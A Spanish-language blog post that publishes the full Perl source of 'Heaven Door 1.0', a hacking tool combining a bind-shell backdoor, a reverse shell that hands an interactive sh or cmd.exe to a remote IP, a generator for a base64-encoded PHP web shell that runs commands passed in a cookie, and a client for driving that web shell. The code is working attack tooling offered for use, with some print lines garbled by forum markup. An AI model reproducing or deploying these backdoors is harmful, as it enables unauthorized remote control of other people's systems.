[Perl] Heaven Door 1.0

Un script en Perl que funciona como backdoor con las siguientes opciones :

Backdoor
Reverse Shell
Generar backdoor PHP
Conectar con backdoor PHP

El codigo :


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
# !usr/bin/perl
# Heaven Door 1.0
# (C) Doddy Hackman 2016
 
use LWP::UserAgent;
use MIME::Base64;
use IO::Socket;
use IO::Socket::SSL;
use Cwd;
use Getopt::Long;
use Color::Output;
Color::Output::Init;
 
GetOptions(
   "backdoor"   => \$backdoor,
   "reverse"   => \$reverse,
   "ip=s"   => \$ip,
    "port=s"   => \$port,
    "generate_backdoor"  => \$generate_backdoor,
    "filename=s"  => \$filename,
    "connect_backdoor"   => \$connect_backdoor,
    "url=s"   => \$url
);
 
head();
 
if ($backdoor) {
   if($backdoor && $port) {
      backdoor($port);
   } else {
      sintax();
   }   
}
elsif ($reverse) {
   if($reverse && $ip && $port) {
      reverse_shell($ip,$port);
   } else {
      sintax();
   }
}
elsif ($generate_backdoor) {
   if($filename) {
      cargar_generador_backdoor($filename);
   } else {
      sintax();
   }
}
elsif ($connect_backdoor) {
   if($url) {
      cargar_consola_backdoor($url);
   } else {
      sintax();
   }
}
else {
    sintax();
}
 
copyright();
 
# Functions
 
# Simple backdoor
 
sub backdoor {
   
   my($port) = @_;
   
   $backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);
 
   printear("</li><li type="square"> Heaven_Door : ");[/li][/list]
   print "Online\n";
   printear("</li><li type="square"> Port : ");[/li][/list]
   print "$port\n";
   printear("</li><li type="square"> PID : ");[/li][/list]
   print "$$\n\n";
   
   printear_titulo("</li><li type="square"> Connected");[/li][/list]
 
   while ($jesus = $backdoor->accept()) {
      $jesus->autoflush(1);
      print $jesus "</li><li type="square"> Heaven_Door : Online\n</li><li type="square"> Port : 25256\n</li><li type="square"> PID : ".$$."\n\n";[/li][/list]
      print $jesus "Welcome  ".$jesus->peerhost."\n\n";
      &extras;
      $dir = getcwd();
      print $jesus $dir.">>";
      while (<$jesus>) {
         my $yeah = qx($_);
         print $jesus "\n\n".$yeah."\n\n";
         print $jesus $dir.">>";
      }
   }
 
   sub extras {
 
      if ($^O =~/Win32/ig) {
         use if $^O eq "MSWin32", "Win32";
         print $jesus "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
         print $jesus "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
         print $jesus "</li><li type="square"> Username : ".Win32::LoginName()."\n\n";[/li][/list]
      } else {
         $output =  `uname -a`;
         print $jesus "--==System Info==--\n\n".$output."\n";
      }
   }
   
} 
 
#
 
# Reverse Shell
 
sub reverse_shell {
   my($ip,$port) = @_;
   printear_titulo("</li><li type="square"> Reverse Shell : ");[/li][/list]
   print "Loaded\n\n";
   printear("</li><li type="square"> IP to connect : ");[/li][/list]
   print $ip."\n";
   printear("</li><li type="square"> Port : ");[/li][/list]
   print $port."\n\n";
   printear_logo("</li><li type="square"> Connecting ...\n\n");[/li][/list]
   socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
   connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
   printear_titulo("</li><li type="square"> Reverse Shell successful\n\n");[/li][/list]
   open (STDIN,">&REVERSE");
   open (STDOUT,">&REVERSE");
   open (STDERR,">&REVERSE");
   tipo();
   printear_logo("</li><li type="square"> Disconnecting ...\n\n");[/li][/list]
}
 
sub tipo {
   if ($^O =~/Win32/ig) {
      infowin();
   system("cmd.exe");
   } else {
      infolinux();
      system("export TERM=xterm;exec sh -i");
   }
}
 
sub infowin {
   use if $^O eq "MSWin32", "Win32";
   print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
   print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
   print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n";[/li][/list]
}
 
sub infolinux {
   print "</li><li type="square"> System information\n\n";[/li][/list]
   system("uname -a");
   print "\n";
}
 
#
 
# More Functions
 
sub cargar_consola_backdoor {
   printear("</li><li type="square"> Checking Backdoor ...\n\n");[/li][/list]
   my $check1 = cargar_comando($url,"ver");
   my $check2 = cargar_comando($url,"uname -a");
   if(check_backdoor($check1) or check_backdoor($check2)) {
      printear_logo("</li><li type="square"> Backdoor Loaded\n");[/li][/list]
      my($url) = @_;
      while(1) {
         printear("\n</li><li type="square"> Command : ");[/li][/list]
         chomp( my $comando = <stdin> );
         if ( $comando =~ /exit/ ) {
            copyright();
         }
         my $code = cargar_comando($url,$comando);
         if(check_backdoor($code)) {
            my $output = extract_command_backdoor($code);
            if($output ne "") {
               printear_titulo("\n".$output."\n");
            } else {
               printear_titulo("\n"."[-] Invalid command"."\n");   
            }
         } else {
            printear_titulo("\n"."[-] Invalid command"."\n");
         }
      }
   } else {
      printear_logo("</li><li type="square"> Backdoor not exists\n");[/li][/list]
   }
}
 
sub check_backdoor {
   my $text = shift;
   if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
      return 1;
   } else {
      return 0;
   }
}
 
sub extract_command_backdoor {
   my $text = shift;
   if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
      return $1;
   } else {
      return "";
   }
}
 
sub cargar_generador_backdoor {
   my $filename = shift;
   if(-f $filename) {
      unlink($filename);
   }
   printear_titulo("</li><li type="square"> Generating backdoor ...\n\n");[/li][/list]
   generar_backdoor($filename);
   if(-f $filename) {
      printear("</li><li type="square"> Backdoor $filename generated !\n");[/li][/list]
   } else {
      printear("[-] Error generating backdoor\n");
   }
}
 
sub generar_backdoor {
   my $filename = shift;
   my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
   savefile($filename,decode_base64($code));
}
 
sub cargar_comando {
   my($url,$command) = @_;
   my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
   $nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
   $nave->timeout(10);
   my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
   return decode_base64($contenido);
}
 
sub savefile {
   my ($filename,$text) = @_;
   open( SAVE, ">>" . $filename );
   print SAVE $text . "\n";
   close SAVE;
}
 
sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}
 
sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}
 
sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}
 
sub sintax {
 
    printear("</li><li type="square"> Sintax : ");[/li][/list]
    print "perl $0 <option> <value>\n";
    printear("\n</li><li type="square"> Options : \n\n");[/li][/list]
    print "-backdoor -port <port> : Enable backdoor in port\n";
    print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
    print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
    print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
    printear("\n</li><li type="square"> Example : ");[/li][/list]
    print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
    copyright();
}
 
sub head {
    printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
}
 
sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}
 
#The End ?

0 comentarios: sobre [Perl] Heaven Door 1.0

Publicar un comentario para [Perl] Heaven Door 1.0

:a   :b   :c   :d   :e   :f   :g   :h   :i   :j   :k   :l   :m   :n   :o   :p   :q   :r   :s   :t

Calculando Tiempo
Alienspace Theme © Copyright 2017 By Proxor
Mi Ping en TotalPing.com FeedBurner FeedBurner FeedBurner FeedBurner FeedBurner